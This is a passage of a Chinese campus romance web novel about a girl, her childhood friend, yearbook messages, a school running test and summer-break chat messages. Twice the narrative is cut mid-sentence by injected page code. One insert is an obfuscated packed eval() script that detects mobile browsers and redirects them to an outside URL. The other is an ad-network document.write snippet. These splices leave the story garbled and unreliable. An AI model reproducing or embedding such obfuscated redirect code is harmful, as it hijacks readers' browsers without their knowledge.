陈丹丹的视线飘向草稿本,昨晚她在草稿纸上配平化学方程式的时候,写着写着,耐心无限趋向于0,笔下的字也从电子式变成一个名字。 一个她在心里默念过很多很多遍的名字。 段言。 她很想在分班前让他填一张同学录留作纪念,哪怕他只写下只言片语,也好过什么都没有就匆匆分别。 而且,她是真的很好奇,如果让他填同学录,他会给她写下什么样的祝福话语,和他写给其他同学的又有什么不同? …… 这天中午,陈丹丹特意提前出发,揣上抽屉里的纸币,在学校后门口的文具店里仔细挑选心仪的同学录。 文具店里来来往往的同学并不少,也有人和陈丹丹一样,在摆放同学录的位置跟前转来转去。陈丹丹购买文具时向来仔细,会挨个挑选、对比,买同学录时更是如此。她看中一款还不错的同学录时,就会拿起来看看正面和反面,觉得不满意了,又会重新拿起一本仔细翻看。有的塑料包装袋被老板拆开了,她还会翻翻里面的样式。 陈丹丹拿着本魔法卡通同学录看来看去,有点心动,又觉得是不是太幼稚了一点,用航哥的话来说,好歹自己现在是个准高三学生了,思想得成熟一点。 纠结半晌,她慢慢把这本魔法卡通同学录放回原位。 “借过。” 陈丹丹听见熟悉的声音,立马转过头,然后就撞上了那双含笑的眼睛。 “你也来买同学录?”这边的架子上摆的全是同学录。 “嗯,留个纪念。”段言说着,站在陈丹丹身侧挑选起来。 陈丹丹下意识观察他的动作。和她不同,段言挑选起同学录来十分干脆,眼神在架子上转了一圈,锁定一本黑色外壳的同学录后,他利落地拿在手上,偏过头给她一个眼神。 偏偏陈丹丹秒懂他的眼神——那意思,他已经挑完了,让她赶紧的。 “要不你先走?我还没选好。”陈丹丹小声说道。 她不是个喜欢等待的人,她知道段言也是如此。 小时候他们俩一起去小卖部买零食,他分分钟选好东西付钱,站在小卖部门口等她,她却还磨磨唧唧地在小熊饼干和手指饼干当中纠结买哪一样。最后他实在等得不耐烦了,重新走回小卖部里,见她正在“痛苦地挣扎”,他干脆把她面前的两种饼干各拿一包,然后转身走人。 “别纠结了,两个都买。” “可是我的钱只够买一包。”她出门的时候都算好了,从小金猪存钱罐里取出来的钱刚刚好够买一包辣条、一瓶娃哈哈、一根棒棒糖和一包饼干。 “我付。”他把两包薯片放在收银台上,示意老板结账。 “这多不好意思啊,”她嘿嘿笑起来,“昨天打赌,你还输给我五块钱,今天又——” “你太慢了,我懒得等。” 陈丹丹慢了好几拍才反应过来段言的意思。 一个人的喜好会随着时间的流逝而发生变化,但有些特质和好恶是不会改变的,比如不喜欢等人。所以陈丹丹以为段言会应声“好”,然后转身离开。 没想到他说:“没事,我等你。” 在他的注视下,陈丹丹加快了挑选的速度,在两分钟内选出了她要买的国风版同学录。这本同学录的外壳背景图是黑色的,中间印有被“前程似锦”四个金色大字包围的彩色图案,还坠着浅色流苏,看起来复古又大气。 “好看吧?”她晃晃手中精心挑选出来的同学录。 段言看了眼她手中的同学录,吐出两个字:“还行。” 说完,他转身往前走。 陈丹丹追在他身后问:“只是还行?” 还行=普普通通=不好看也不难看=一般般。 在脑海里自动换算了这些词语意思的陈丹丹想,她要不要重新再挑一本?她的同学录,段言必须要填一张,得他们两个人都喜欢才行。 “好看。” 同样是惜字如金,这回,段言的声音里多了点不易察觉的无奈。 …… 挑选同学录用了不少时间,他们走进教室的时候,一大半同学都到了。 陈丹丹翻开她的同学录,拉住两半铁环使劲掰开,取出第一张同学录,假装很随意地转过身,将这张同学录放在段言面前。 “帮我填一张。”她故作理直气壮地要求段言填写同学录,仿佛只是顺手给他一递,对他的答应与否满不在乎。 但事实上,她的目光落在同学录上,刻意不去看段言的表情,生怕他的表情里有一丝不耐烦或者不情愿——就像他昨天给姚一哲填同学录那样。 昨天,姚一哲拿着厚厚的一叠同学录走遍了教室的每个角落,按照座位顺序挨个发给全班同学。发给段言的时候,他强调:“至少给我写100字的祝福语。” “100字?你想得美!”段言把笔往桌上一扔,拒绝道,“我一个字都不想写。” “不行,”姚一哲把同学录拍在段言的桌子上,“你必须给我填。” “我今天都填了十八张,懒得再填。而且我们高三还在一个班,有必要填吗?” “当然有了,我这本是高二同学录,高三毕业前我再去买一本新的。段神你必须给我填,不填的话,我就每个课间都过来骚扰你!”姚一哲使劲按住段言的肩膀晃来晃去,活生生一副段言不答应他就不罢休的样子。 “……行吧。”段言答应得勉勉强强。 在姚一哲的“胡搅蛮缠”和再三催促下,段言还是填了张同学录。然而陈丹丹不确定,面对段言不耐烦的表情时,她能否像姚一哲一样,有勇气继续说服段言写同学录。 “行,”出乎她意料的,段言答应的很快,陈丹丹还来不及窃喜,就见段言从他那本厚厚的同学录里取出一张淡粉色的递给她,“帮我也写一张同学录。” 陈丹丹轻快地答应:“好~” 她要好好想想给段言写什么样的祝福语。不能太俗气了,要特别一点的,最好是能在几十张同学录里被他一眼注意到的。 祝思倩到校后,陈丹丹把第二张同学录取出来给她,“喏,给我填一张。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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——因为把握分寸成了最难的一件事情。如果可以的话,她想把这世间最最美好的祝福全部都送给段言,却又担心他在字里行间中看出她暗藏的心绪,担心他在发现某些蛛丝马迹后与她不着痕迹的疏远。 在心底反复修改措辞,又在草稿本上列出一句又一句祝福语后,陈丹丹才正式动笔。 …… 上完晚自习,段言回到家,收到了一条Q.Q消息。 李为:「来一局?」 dy:「不了,我要整理同学录。」 段言有轻微的强迫症,习惯把所有东西按照自己的方式排序整理,同学录也是如此。除了发给陈丹丹的同学录是她喜欢的粉色以外,他都是按照关系远近发不同颜色的同学录给其他人填。收回来时为图方便直接全放里面了,还没来得及按颜色分类。 什么鬼,同学录? 段神买这玩意儿了?! 李为噼里啪啦地敲响键盘,一条条信息接连不断地发过去,表达他的惊讶与不满。 李为:「当初是谁说同学录这种东西没有用,懒得买的?你怎么会突然买了本同学录?这不科学!」 李为:「好哇段神,我要告诉全班同学,你在我们班的时候不买同学录,去了其他学校就开始买同学录这种东西,是不是我们不够重要?」 李为:「公平在哪里,底线在哪里,你把我们的同学情又放在哪里?!」 想当初得知段神要转校的消息,同学们都暗戳戳地等待他买一本同学录让大家填写,李为甚至都看见有的女生提前打好了草稿,把祝福语罗列了一大堆挑选。最后没等到段神买同学录,同学们就自己买了个笔记本在班上流传,把名字和祝福的话语写满了整个本子。段言临走之前,李为偷偷地把这个本子塞进了他的书包里。 难道他们近两年的同学情还比不上段神转校后这短短数月的同学情吗? 李为表示他不服气。 看着手机屏幕上不断闪烁的消息,段言伸手扶额。 他不太看重这些形式上的东西,在他看来,填与不填同学录都改变不了什么,既没办法增加联系,也没办法增进同学情谊。关系好的朋友,在他转校后,自然还会通过其他方式和他联络,无需在同学录上写一些酸不拉几的话。 dy:「突发奇想买了本。」 dy:「我们有联系方式,会保持联系的没必要非得填,没保持联系的更没必要填。」 李为灵光一闪,精准划出重点:「这个“突发奇想”,是不是与你的小青梅有关?」 dy:「……」 有的时候,无语也是一种有声的语言,起码李为在这一刻听懂了这种语言。 毕竟如果答案是否定的,段神会直接否认,而不会像现在这样发出一串省略号。省略号有时代表无语,此刻,他将之理解为躲避。 李为头脑风暴了好几分钟,顺带着脑补了各种甜文小故事。 李为:「我懂了[咧嘴笑]」 整理完同学录,正在绞尽脑汁打草稿,想着给陈丹丹写什么祝福语的段言:“?” 你又懂什么了? 30. 三十颗青梅 陈丹丹是在第二天上午的大课间收到段言填好的同学录的。 “好好保存,不许再弄丢了。”他语气淡淡,却暗含威胁,“别想让我再给你写一遍。” 陈丹丹本想问他,什么叫“再”弄丢,说得好像她经常丢三落四一样。对上段言的眼神时,却蓦地想起,她貌似是有“前科”的。 多年以前,段言即将转学、搬家,她赶紧去买了本同学录让他填。 段言字斟句酌,花了大半天的时间给她填同学录,结果不到一天,她就把那张同学录弄丢了,气的他整整两个课间没有理她。最后还是耐不住她软磨硬泡,又给她写了一张同学录。 “我会保存好的,我发四。”陈丹丹举起右手比了个“4”,立马接过这张同学录认认真真看起来。 同学录的右上角是一个方框,很多种类的同学录都留了个小方框用来给大家贴照片,但所有同学都不约而同地忽略了这个部分。 然而在这张同学录上,陈丹丹看见了段言的证件照。 蓝底证件照上的他剑眉星目,鼻子高挺,嘴角微微勾起,看起来英俊且干净利落。 她的指尖不自觉地触摸他照片上的脸,从眉毛到眼睛,从鼻子到嘴唇。 随即,她猛然间意识到自己在做什么,倏地缩回了手指。 视线往下,是段言填写的个人信息。依旧是龙飞凤舞、力透纸背的钢笔字,很有他的个人风格。 陈丹丹飞快地浏览完正面的个人信息部分,然后怀着期待的心情,按耐不住地将同学录翻了个面。 「To陈丹丹: 愿你永远开心快乐,永远平安顺遂,早日拥有并实现心中的理想。 ——段言」 短短的一句话,陈丹丹反反复复看了好几遍。真巧,和她写给段言的祝福语有点相似。 她写的是: 「To段言: 祝你永远健康快乐,永远顺遂无忧,永远鲜活明亮,永远闪闪发光。 ——By陈丹丹」 想写的祝福语太多,真要动笔写,反而无处着手。 如果可以,她多想把所有的祝福都送给段言,作废的草稿纸上写满了等着她筛选的话语,比如祝你身体健康、万事如意、事事顺心、前程似锦、天天开心、闪闪发光…… 万事如意、事事顺心太难,也太贪心。而“健康快乐,顺遂无忧”已然是陈丹丹能想到的最美好最实在的祝福语。 不会太普通,轻易被他遗忘,也不会太繁琐冗长,让他懒得看一眼;不会太过情绪外露,让他察觉到她的心思,也不会太过平淡,让他觉得她是在敷衍。 她琢磨了许久才选出的祝福,更改了无数次想要拿捏好却依旧不确定的分寸感,想要他察觉到一点苗头却又害怕被他发现的小心翼翼和酸涩难言,都在这廖廖数语中了。 如若阿拉丁神灯能容忍她的贪婪,那么她希望它帮忙实现一个愿望。 即使她永远都无法真正拥有闪闪发光的月亮,也请让悬挂的月亮永远明亮如初。 哪怕这轮月亮不止带给她一个人光芒,哪怕这月亮附近还围绕着许多耀眼的星星,哪怕有一天她再也无法见到这轮月亮。 …… 音乐考试结束之后,体育考试接踵而至。 仰卧起坐倒也还罢了,八百米简直是体育废材陈丹丹的噩梦。下一节就是体育课了,陈丹丹和祝思倩面面相觑,双双苦笑出声。 “咋办啊丹丹,我跑不动,根本跑不动。”祝思倩哭丧着一张脸。 “硬撑。”陈丹丹像是在安慰祝思倩,也像是在对自己说。 “你说我去请个假可行吗?就说我来例假了,今天没办法跑。”祝思倩动起了歪脑筋。 陈丹丹:“……你今天不跑,之后还得补考,何必呢?今天我们大家一起跑,好歹还能互相鼓劲。” “呜呜呜为什么体育考试要考八百米,就不能不考这个嘛!”祝思倩不情不愿地和陈丹丹一起往操场走。 身后的俞秉文听见祝思倩鬼哭狼嚎的声音,三两步窜上前,“大姐,你们女生只需要跑八百米,我们男生要跑一千米好吗,我都没嚎,你搁这嚎什么?” 祝思倩咬牙切齿:“你滚。”狗嘴里吐不出象牙来,说的就是俞秉文! 体育老师带着同学们热身之后,就催着他们快点分组考试。女生先做仰卧起坐,然后男生做引体向上。等到男生做完引体向上,就轮到男生跑一千米,男生跑完女生再去跑八百米。 男生跑步的时候,女生站在附近叽叽喳喳地说话。 “你看我们班那群男生,感觉他们跑起来好轻松啊,不像我们,跑前女汉子,跑完林黛玉。”祝思倩羡慕地望着正在跑道上冲刺的男生。 “就是就是!”旁边凑过来一个脑袋,“一想到要跑八百,我就直发怵,恨不得今天不来上学了。” 陈丹丹认同地点点头。 几分钟后,第一组男生跑完,轮到第二组男生。陈丹丹眯了眯眼睛,目光追随着段言跑步的身影。 只见他目视前方,下颚微收,手微微握住,手臂随着跑步的节奏前后自然摆动,脸上没有一点急躁的情绪,也没有在夏日炎炎中跑步的不耐烦。 在一群跑步时五官乱飞的男生里,他帅得格外明显。看他跑步,就像是夏日里喝下一杯清凉解暑的蜂蜜柠檬水,给人带来愉悦的享受。 “真好看!” 陈丹丹还以为她不小心把心里话说出来了,扭过头一看,才发现是旁边好几个女生在那里赞叹。 “怎么段神跑个步都看起来这么帅!” “和他一比,好多男生都成歪瓜裂枣了。” “简直帅炸了!你看他的腿,超级长——羡慕死我了!” “就是,这么长的腿,是真实存在的吗!” 陈丹丹还真顺着她们的话观察了下段言的腿,然后发现他不止脸超乎寻常的好看,就连这身材都过于优越了。 “他真的很像漫画里的男主角,要身高有身高,要长相有长相,要智商有智商,完全没有短板诶!” “我也觉得!” 是啊,陈丹丹也这样觉得。 上天给世人或多或少都关了几扇窗,但是似乎忘记给段言关掉某扇窗了。 即使他毒舌、幼稚、有点爱捉弄人,这也算不上被关掉的那一扇窗,哪怕是被段言怼过的同学,都没有一个说他性格不好的。 陈丹丹出神地想着,一道声音拉回了她的注意力。 “他跑到最前面了耶,这才第一圈,会不会跑到最后没体力跟不上了啊?”有女生担心起来。 “就是说啊,第一圈应该先保存一部分体力才对吧?” “他该不会跑个不及格吧?”另外一个女生开玩笑道,“看来上天给学神关掉了跑步这一扇窗啊。” 不会。 陈丹丹在心里默默回答。 段言跑步可厉害了,小时候他们玩丢手绢的游戏,没一个人跑的过他。现在他身高腿长,跑起步来更是如鱼得水。更何况他经常打篮球,体力应该也很好。 果不其然,从第一圈直到最后一圈,段言都是跑在最前面的那个,足够显眼,也足够耀眼。除了他们班的女生之外,操场上其他班的女生也都站在跑道外看着他小声八卦。 很快,所有男生跑完,轮到女生跑八百。 “我吹了哨子你们再跑,吹之前越起跑线的算犯规啊!脚踩在起跑线上的也算犯规!”体育老师一手拿着秒表,再三强调考试纪律。 陈丹丹两脚前后开立于起跑线后,哨子声一响,她立刻往前冲去。 跑着跑着,陈丹丹觉得有点体力不支。她的脚步逐渐沉重,还没跑完第一圈,她就落在了队伍最后面,和她并肩跑步的只剩下祝思倩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722030|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “加油啊丹丹!”祝思倩顾不上跑步说话会岔气,一边跑步一边鼓励陈丹丹。 陈丹丹费力地点点头,拼命喘气,拖着沉重的步伐机械地往前跑,感觉腿都不是自己的了。 她第二圈刚跑过半,已经有好几个女生抵达终点,还有的女生要么正在加速冲刺,要么放缓速度匀速向前。支撑陈丹丹继续往前跑的唯一动力,就是体育考试一定要及格。 陈丹丹盯着前方距离她不到十米的女同学,将她作为目标,跟着她不断向前,再向前。 “现在是4分10秒,快一点,再快点!”体育老师掐着秒表在终点处大声喊道。 不行了。 真的跑不动了。 陈丹丹好想停下来歇一歇,喘口气。 “陈丹丹,加油!”清淡的嗓音在陈丹丹耳边响起,带着几分不太明显的着急。 陈丹丹不可置信地扭过头,看见那个刚才被她凝视了很久的少年突然出现在她眼前,只觉惊诧万分。 他不是跑完了吗? 怎么又在跑? 而且还是在跑道外面跑。 “再跑快点就及格了。”他低头看眼手表后道。 陈丹丹立刻加速向前跑。 段言从天而降,带给陈丹丹两句鼓励的话语,然后顺着跑道外的直线方向继续跑去。 好几个男生跟在他后面一起跑,一边跑还一边嚷嚷。 “不许耍赖啊,跑最后的要承包大家一周的饮料!” “俞秉文你等等我!” “等个屁啊等。” 而陈丹丹,也跟在他身后,注视着他逐渐远去的背影,用尽全力地奔跑。 陈丹丹和祝思倩一前一后抵达终点,体育考试掐了秒表,“4分35秒,及格了。” 两人同时松了一口气。 跑完八百米后的状态,怎么说呢,活像是丢了半条命一样。祝思倩在原地蹲下,大口大口喘气,陈丹丹把她拉起来,“刚跑完不能蹲。” 于是两人迈着酸软的腿慢慢绕着操场走路。 不远处,段言和班上几个男生站在一起,俞秉文上蹿下跳地欢呼:“周立阳你跑最后,记得待会儿去给我们买饮料!我要旺仔牛奶!” 周立阳愿赌服输:“行,你们其他人要什么?” “可乐。” “酸梅汤。” “AD钙奶。” “靠,你们都几岁了,还在喝AD钙奶和旺仔牛奶?我上幼儿园的小侄女才喝这些。” 俞秉文右手搭上周立阳的肩膀,“不要有年龄歧视嘛,这不是很正常吗?你说是不是,段神?”他转过头对着段言抬了抬下巴寻求认同。 段言正在用纸巾擦汗,闻言颔首:“是。” 俞秉文冲周立阳露出小人得志的微笑,“那就麻烦你了。” 周立阳:“……好。” 他抖抖肩膀甩开俞秉文搭在他肩上的手,和段言抱怨,“段神,下次你可别提议用跑步来打赌了,这些坑货一个个阴险狡诈得很!要不是俞秉文这小子刚才把我往后拽了一下,我肯定不是最后一名!” 俞秉文怒目道:“我可没拽你啊,别污蔑好人!” 段言勾勾唇,答应周立阳:“放心,最后一次。” 路过的陈丹丹恰好听到他们的对话,反应很快地想到了什么,不由得瞪大眼睛,脚步定在原地。 祝思倩常年看各种漫画和言情小说,反应比陈丹丹还要快,她“哇”了声,扯着陈丹丹往反方向走,走出好长一段路,她才压抑着兴奋小声道:“丹丹丹丹,你说段神他是不是故意打这个赌,就是为了帮你?” 陈丹丹怔了怔。 “我也不知道。”她喃喃道。 这个世界永远不缺少自作多情的人,她不想成为令人生厌的一员,尤其是不想被段言讨厌。 现在这样,就已经很好很好了。 31. 三十一颗青梅 音乐、体育等考试结束,各门主课的考试也随之而来,仿佛是一眨眼,时间就快进到了暑假。 发假期作业那天,段言随手递给陈丹丹一个纸袋,她犹疑地接过,问他:“这是什么?” “我妈烤的小蛋糕,特意让我带给你。”段言从容地往椅背一靠,顺带着将俞秉文突然凑近的脑袋摁回去。 陈丹丹认真地道:“替我跟阿姨说一声谢谢。” 路过他俩座位的姚一哲差点没拿稳水杯,目瞪口呆地停住脚步,眼神在段言和陈丹丹之间来回扫动:“你俩这么明目张胆,都到了见家长这一步了?” “噗——”刚喝了水的祝思倩喷了一桌子水,桌上的卷子不幸遭殃,陈丹丹连忙帮她取纸巾擦桌子,用手上的动作掩饰心中的慌乱和紧张。 知情人俞秉文没有说话,坐在一旁看热闹,他倒要看看段神会怎么解释,是说他和陈丹丹是青梅竹马,还是说两家父母早就认识。 出人意料的是,段言没解释,反而闲闲地转着中性笔。 他分明是坐着的,气势却比直直站着的姚一哲还强,“比不上你,进度已经从恋爱快进到分手了。” 这下可戳中姚一哲的烦心事了,他嘴硬道:“谁说我和瑶瑶分手了?我们这辈子都不会分手!” 段言敷衍地颔首:“嗯。” 俞秉文拍桌大笑,与其费劲吧啦解释,不如直接戳对方心窝子,让对方忘记方才的疑问,段神还真是个中高手。 就连陈丹丹的注意力也转移到了姚一哲的身上,她和祝思倩比口型:班长和谁在一起了? 祝思倩比口型道:“这个瓜我还没吃到。” 陈丹丹有点失望:“哦。” 有点想问问段言,但是又觉得这样会显得自己很八卦,有损在他心中的形象。 算了,还是等万能的倩倩分享八卦吧。 …… 经历了这个小乌龙,再看数量多到离谱的暑假作业,好像也没那么让人头疼了。 这个暑假名为假期,实为老师口中“超过其他同学的好时机”。 段言有心在暑假给陈丹丹补课,奈何外婆突然生病,舅舅前几天又出差了,一时半会儿回不来,他不得不跟随母亲去临城照料生病的外婆。 并不知晓段言原本打算的陈丹丹正在卧室里自习。 木板门完全挡不住小孩时不时发出的尖叫声和哭闹声,以及大人耐心哄她的声音。每到这个时候,陈丹丹会默默掏出老旧的MP4,戴上耳机,用音乐来抵挡那些讨厌的声音,专心刷各种习题册和卷子。 这天,沉寂了一个礼拜的手机铃声响了。 “丹丹,我倩倩啦,我想问问你,要不要和我一起报理综补习班?” 一想到自己薄弱的理综,再想到学霸遍地的高三,从未补过课的陈丹丹心动了,“靠谱吗?是哪家补习班呀?” “是隔壁学校的退休老教师,当然靠谱了。我妈也是听熟人介绍才知道的,说除了贵之外,没别的缺点了,我们到时候还可以去试听一节课。”祝思倩在电话那头拍胸脯保证。 能被他们学校的学生称作隔壁学校的,并非是地理位置在他们隔壁的学校,而是成绩和名气都和他们学校旗鼓相当的市一中。 陈丹丹握紧手机,问道:“价格是多少?” 祝思倩说了个数字,“是有些贵,不过我们两个人一起报名肯定会有优惠的。如果真要报名,咱们可得抓紧了,不然人数够了,人家就不招了。” 这个数字恰好是陈丹丹能承受的起的数字。 这些年以来,她存了不少压岁钱,她爸塞给她的生活费也在她的精打细算下余了不少,凑在一起估计够了。 于是陈丹丹和祝思倩一起预约了第二天的课程试听,几乎是刚试听完,她们就不约而同地打算去交钱报名。 一个暑假补习下来,她们又是痛苦,又是开心。 补课的最后一天,祝思倩累成了狗,她趴在桌子上,有气无力地对陈丹丹说:“我的老天爷啊,可算是补完了。” 陈丹丹刚抱着试卷请教了化学老师一道题目,闻言也露出疲惫的笑容:“是啊,终于补完了。” 她想了想,“不过总体来说,收获还是蛮大的。我觉得这期补课对我来说,进步带来的喜悦超过了听课做题的痛苦。” 祝思倩以头锤桌,“可是对我来说,听课做题带来的痛苦更多。” 陈丹丹摸准了她的心思,“想想开学后,你的成绩足以碾压俞秉文,是不是就会开心许多?” “你说得对啊!”祝思倩满血复活,斗志狠狠被激发,什么痛苦啊疲惫啊,统统都被脑补的胜利超过。 晚上,家里其他人走亲戚去了,留陈丹丹一个人在家。她溜去书房,开了电脑,熟练地登录Q.Q。她刚登上线,将状态调整为“隐身”,就收到一条消息。 dy:「补课结束了吗?」 消息来得真快。 陈丹丹回复:「嗯,今天结束的。」 期末考试过后,两个人就这样断断续续地聊天。陈丹丹喜欢把Q.Q状态调整为隐身,只对表姐和几个好朋友设置为“隐身对其可见”,段言是其中之一。 有时候陈丹丹会关心地询问段言外婆的身体状况,她还记得那位老人,额头上有不少皱纹,但人很精神,看起来有种岁月加持的从容优雅。陈丹丹至今都记得老人家亲手给她做的阳春面,味道那叫一个绝。 段言会仔细回复她外婆的身体状况如何,然后反过来问她今天学的怎么样,有没有什么不明白的知识点和题目。 陈丹丹大部分时候都会说“没有”。她知道段言既要和母亲一起照料外婆,又要照顾好外公的情绪,还要做无数的暑假作业,不想给他再平添麻烦。 然后她就会收到对方发来的:「真的?」 简单的两个字加一个标点符号,半信半疑的气息扑面而来,陈丹丹几乎能想到段言说出这两个字时的神态和语气。 cdd:「真的。我上课听得可认真了,下课了有不懂的题目也会直接问老师。(补习班额外有1个小时的自习时间,专门用来解答我们的问题。)」 不过…… 陈丹丹眨了眨水灵灵的大眼睛,发出疑问:「在你心里我到底是有多笨?每天都有学不懂的东西。」 dy:「猫咪揣手手jpg.」 dy:「你一点都不笨,如果没理解,那就是补课老师没讲明白。」 陈丹丹自然而然地想到,段言虽然嘴巴挺毒的,时不时蹦出两句话就能把她噎住,但其实他给她讲题还是很有耐心的,说的最多的话不是“你听懂了没”,而是“我这样讲可以吗”“需要换种解法给你讲吗”“我讲明白了吗”。 她不知道的是,网线另一端。 段言从分组“朋友”里随机抓了两个人,「给我发几个可爱的表情包。」 李为:「你不是从来不用表情包吗?[斜眼]」 dy:「快点。」 李为:「……jpg.jpg.jpg.」 俞秉文的关注点就不一样了。 俞秉文:「我上一秒看好友列表,你还不在线来着。你是不是设置的隐身?」 段言干脆地承认:「嗯。」 他一上线,找他的人太多了。准确来说,他即使没上线,也会收到各种消息、各种添加好友的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 申请,所以他向来都是隐身状态,假装不在线。 除了家人以外,他从来不对任何人设置“隐身对其可见”。 陈丹丹是唯一一个例外。 他们聊天的时间不多,每次上线也就短暂地聊几句,然后就各忙各的事情。陈丹丹会关掉电脑去刷题,段言会把手机揣回兜里,给外婆削苹果吃。 奇异的是,陈丹丹觉得她和段言仿佛每天都在见面。这大概是因为他们会交换自己每天正在做的事情,对对方的日程了如指掌。 久而久之,他们之间的对话也越来越随意。 比如现在。 陈丹丹和段言分享自己刚结识的朋友:「我今天认识了一个补习班的同学,约好全市联考pk!」 段言不动声色:「可以可以,很有冲劲。」 cdd:「那是当然~接下来我可得好好努力了,她是市一中特优班的学生,我绝对不能输[狠狠握拳]」 段言不懂就问:「这和市一中特优班有什么关系?」 陈丹丹几乎要把键盘敲出火花。 cdd:「这关系,大了去了!我是不是还没和你讲过我们学校和市一中的爱恨情仇啊?说来话长……」 cdd:「总而言之,就是我们学校和市一中是死对头,从招生到成绩,什么都要拿出来比一比,比如今年招了多少好苗子,今年有多少学生上清北、985、211,一本率是多少等等。校领导比红了眼,我们就配合着和他们一争高下喽。」 段言被她生动的描述逗笑。她这语气,很像是小时候和他叭叭叭地讲述隔壁班两个男生因为抢零食吃而打架时候的语气。 相当生动。 dy:「那你可别输了。」 cdd:「啊啊啊啊你别诅咒我!快点“呸呸呸”三声。」 dy:「这三个字太不文雅了,有违我的风度。」 陈丹丹盯着聊天对话框,这人是不是知道自己被评为了校草,所以开始有“偶像包袱”了? 然后她就啼笑皆非地看到了电脑上新接收的消息。 dy:「所以」 dy:「口丕口丕口丕」 陈丹丹双手捧脸,一个字一个字地念,“koupikoupi——”还没念完,就笑得肩膀直抖。 cdd:「锤地大笑jpg.」 dy:「咳咳,有那么好笑吗?回归正题,如果需要段老师的加持,随时找我,可以Q.Q,也可以线下。」 都不在一个班了还怎么线下? 似乎是知道她的疑惑,对面又发过来一条消息。 dy:「听说我们两个班离得特别近。」 dy:「高三我们会搬去另一栋楼,一楼是文科班,二楼和三楼是理科平行班和老师办公室,四楼除了老师办公室之外,只有两个理科火箭班。」 一层楼只有两个班? 陈丹丹惊呆了。 学校这是想给两个理科火箭班创造绝对安静的学习环境啊。 不过,段言是怎么知道的?陈丹丹还没来得及问,电脑显示屏上又多出来一条消息: dy:「路易平说的,他妈妈是我们学校的老师。」 段言是她肚子里的蛔虫吗?怎么还带主动抢答的?! 陈丹丹有种整个人完全被看透的惊异,她迫不及待地问:「你怎么知道我想问你这个的?」 对面慢悠悠地发过来几个字,陈丹丹盯着“对方正在输入中”,度秒如年。 终于,新消息出现在对话框里。 dy:「不用想也知道。」 陈丹丹:“……” 可恶,又来秀智商了是吧? 32. 三十二颗青梅 补课结束,暑假也步入尾声。 开学那天是个大晴天,陈丹丹穿着短袖校服,背着书包走进校园时,还有一种不真实感。 高二仿佛还在昨天,她这就要高三了?说不清道不明的情绪萦绕在心头,又被蒸笼般的炎热、吵吵嚷嚷的周围同学所冲淡。 无论如何,她都会做好身为高三生在这一年里应该做的事,这就够了。 前方的树荫底下,几个少年大笑着互相打闹,最中间的那个,是她从未认错过的背影。 阳光太过耀眼,以至于陈丹丹不得不微微眯起眼睛看向前方。段言旁边的人说了句什么,惹得他偏过头笑了笑,半张沐浴在阳光下的侧脸好像在发光。 “丹丹!”身后传来喊声,陈丹丹回过头,祝思倩正向她小跑而来。 “我给你说啊,我昨晚追了一集电视剧……”祝思倩挽住陈丹丹的胳膊,叽叽喳喳地讲着她看的狗血剧情,陈丹丹耳边是她的声音,前方是她无数次偷看过、观察过的背影,突然就生出了一种踏实感。 当陈丹丹走进新的教学楼、新的教室后,发现班上有好多同学她都叫不上名字,看面孔也不熟悉,只有小部分同学以前和她在同一个班里。 就连班主任,都从航哥换成了一位陌生的老师。 祝思倩消息很灵通,班主任站在讲台上进行自我介绍的时候,她就和陈丹丹小声嘀咕:“这位康老师之前就带的高三,这次更是被学校委以重任,派过来继续当咱们两个火箭班的物理老师。” 陈丹丹补充:“外加我们班的班主任。” 祝思倩趁着班主任转过身写他的名字,继续和陈丹丹咬耳朵:“听说他脾气一点都不好,咱们以后都得小心点了。” 眼下,陈丹丹还没有理解这个所谓的“脾气不好”是什么程度。 康老师趁着早读时间,给火箭班的同学们打了次鸡血。 “我相信各位同学能考进高三火箭班,也是相当优秀的,多的话我也不说了,就想给你们提个醒:等你们以后走上社会了,就会发现高考是你们人生中遇到的最公平的事情,所以你们一定要把握好这个关键的机会,给自己创造前途光明的未来!也许你们当中有些同学现在还不是很能理解我说的话,但是等你们以后走向社会才回过头来明白,那就太晚了。你们现在只需要记住,当前你们最重要的事情就是学习,就是高考!说白了,高考就是个分水岭,你们现在不拿出时间来玩儿命学,将来有的是时间后悔!” 这鸡血打的挺及时,部分还沉浸在假期放松心态的同学一下绷紧了绳,陈丹丹也严肃了神色。 鸡血打完,康老师安排所有同学换座位。 是的,所有。 个子很矮,气势却很足的康老师推推眼镜,站在讲台上沉声道:“我不管你们以前是怎么排的座位,在我带的班里,只有一种排座位的方式,那就是考试成绩。月考、期中考、期末考等等都算。成绩排在前面的同学优先选座位,排在后面的同学选剩下的座位,别让你们的家长私底下找我,没用!” 陈丹丹以前待的班里,都是老师排好座位之后,所有同学定期向左后方移动,以便全班同学都能公平地坐在每一个位置上。 这还是她第一次直面这样的排座方式。 新来的高三班主任,在开学第一天就用行动告诉他们,在高三火箭班里,学习成绩是最重要的。 “好残酷啊。”祝思倩叹气,“我已经能想象到未来一年水深火热的生活了。” 陈丹丹认同地点头,安慰她,也是在安慰自己,“挺过这一年,一切都会好的。” 思绪却蓦地飞远。 他们这个排在第二的火箭班都如此残酷,隔壁的火箭班岂不是日子更难过?也不知道段言现在怎么样,他们班主任好不好说话。 刚想到这里,陈丹丹又自嘲地笑了笑,以段言的学习成绩,在哪都会过得很好,用不着她来过度关心。 “大家动作快点,别浪费时间!”康老师在讲台上指挥着,所有的同学都要按照他的要求站在教室外面,等着他按照分班考试的排名念出一个个名字,被叫到名字的同学依次进入教室挑选座位。 陈丹丹和祝思倩在班上的排名差了二十来位,她以手掩唇,快速和祝思倩商量:“我们一起想想选哪个座位。” 她们早就说好,要继续当同桌的。 “不啦——”祝思倩递过来她的草稿本,上面潦草地写着两行字。 